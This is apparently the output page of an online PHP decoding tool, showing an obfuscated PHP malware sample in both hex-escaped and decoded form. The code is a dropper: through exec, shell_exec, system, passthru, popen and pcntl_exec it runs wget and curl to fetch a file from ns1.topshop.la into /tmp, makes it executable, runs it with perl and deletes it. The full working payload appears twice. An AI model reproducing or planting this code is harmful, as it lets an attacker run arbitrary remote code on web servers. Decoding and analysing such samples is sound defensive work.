Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php exec("\x77get\x20-O /t\x6d\x70/doc\x20ht\x74p://n\x731\x2etop\x73\x68\x6f\x70.la/\x6..

Decoded Output download

<?php exec("wget -O /tmp/doc http://ns1.topshop.la/doc;curl -o /tmp/doc http://ns1.topshop.la/doc;chmod +x /\ 
x74mp/doc;perl /tmp/doc;rm -rf /tmp/doc");shell_exec("wget -O /tmp/doc http://ns1.topshop.la/doc;curl -o / 
tmp/doc http://ns1.topshop.la/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc");system("wget -O /tmp/doc \x6 
8ttp://ns1.topshop.la/doc;curl -o /tmp/doc http://ns1.topshop.la/doc;chmod +x /tmp/doc;perl /tmp/ 
doc;rm -rf /tmp/doc");passthru("wget -O /tmp/doc http://ns1.topshop.la/doc;curl -o /tmp/doc \x 
68ttp://ns1.topshop.la/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc");popen("wget -O /tm\x 
70/doc http://ns1.topshop.la/doc;curl -o /tmp/doc http://ns1.topshop.la/doc;chmod +x /tmp/doc;perl /\x7 
4mp/doc;rm -rf /tmp/doc");pcntl_exec("wget -O /tmp/doc http://ns1.topshop.la/doc;curl -o /tmp/doc http://n 
s1.topshop.la/doc;chmod +x /tmp/doc;perl /tmp/doc;rm -rf /tmp/doc"); 
?>

Did this file decode correctly?

Original Code

<?php exec("\x77get\x20-O /t\x6d\x70/doc\x20ht\x74p://n\x731\x2etop\x73\x68\x6f\x70.la/\x64\x6fc\x3b\x63\x75r\x6c\x20-\x6f /tmp/d\x6fc \x68tt\x70://\x6e\x731\x2et\x6fps\x68o\x70.la/doc;\x63\x68m\x6fd\x20+x\x20/\
x74mp/\x64o\x63\x3bperl\x20/\x74\x6dp/do\x63\x3brm\x20-rf\x20/tmp/d\x6f\x63");shell_exec("\x77g\x65t\x20-\x4f /\x74\x6d\x70/do\x63 \x68\x74\x74\x70://\x6es1.\x74\x6f\x70\x73\x68o\x70.la/\x64oc\x3bcur\x6c\x20-o /
tmp/d\x6f\x63\x20ht\x74p://ns\x31.tops\x68\x6fp\x2el\x61/\x64oc;\x63hmo\x64\x20+x /tmp/d\x6fc;p\x65\x72l\x20/tmp/\x64\x6f\x63\x3br\x6d -\x72f /\x74mp/\x64\x6fc");system("\x77\x67e\x74 -\x4f /\x74mp/\x64\x6fc \x6
8\x74\x74p://ns1\x2et\x6fpshop\x2e\x6ca/\x64\x6fc;c\x75rl\x20-o\x20/\x74\x6d\x70/doc \x68tt\x70://ns\x31\x2et\x6f\x70s\x68\x6f\x70.\x6c\x61/do\x63\x3bc\x68m\x6fd +\x78 /tmp/\x64\x6fc;p\x65r\x6c\x20/\x74\x6d\x70/
d\x6f\x63\x3b\x72\x6d -rf\x20/tmp/do\x63");passthru("\x77\x67\x65\x74 -O /tm\x70/\x64\x6f\x63\x20\x68\x74\x74p://\x6es\x31.\x74op\x73\x68\x6f\x70.\x6ca/\x64oc\x3bc\x75r\x6c\x20-o\x20/\x74\x6d\x70/\x64o\x63\x20\x
68\x74\x74\x70://\x6e\x731.\x74ops\x68\x6f\x70\x2e\x6c\x61/\x64oc;ch\x6d\x6fd +\x78 /\x74m\x70/\x64o\x63\x3bperl /t\x6dp/d\x6fc\x3b\x72\x6d -\x72f\x20/\x74\x6d\x70/d\x6fc");popen("\x77\x67e\x74 -\x4f\x20/t\x6d\x
70/\x64oc\x20htt\x70://\x6es1.to\x70s\x68op\x2el\x61/do\x63\x3bcu\x72\x6c -o /\x74mp/d\x6f\x63 \x68ttp://ns\x31\x2e\x74\x6fps\x68\x6f\x70\x2e\x6c\x61/doc\x3b\x63hmo\x64\x20+x\x20/tm\x70/d\x6f\x63;pe\x72l\x20/\x7
4m\x70/\x64\x6fc;\x72m -rf /\x74\x6dp/doc");pcntl_exec("\x77get -O\x20/t\x6d\x70/\x64\x6fc\x20\x68tt\x70://n\x731.\x74\x6f\x70\x73\x68\x6f\x70.l\x61/\x64\x6fc\x3b\x63ur\x6c\x20-o /\x74\x6dp/\x64\x6fc h\x74tp://n
\x731\x2e\x74o\x70s\x68op.\x6ca/doc\x3b\x63hm\x6fd\x20+\x78\x20/tm\x70/\x64o\x63\x3b\x70\x65\x72\x6c\x20/t\x6dp/\x64\x6fc;r\x6d -r\x66\x20/t\x6d\x70/\x64o\x63");
?>

Function Calls

None

Variables

None

Stats

MD5 0b8b2c8272152d89c3fa751cc209509e
Eval Count 0
Decode Time 96 ms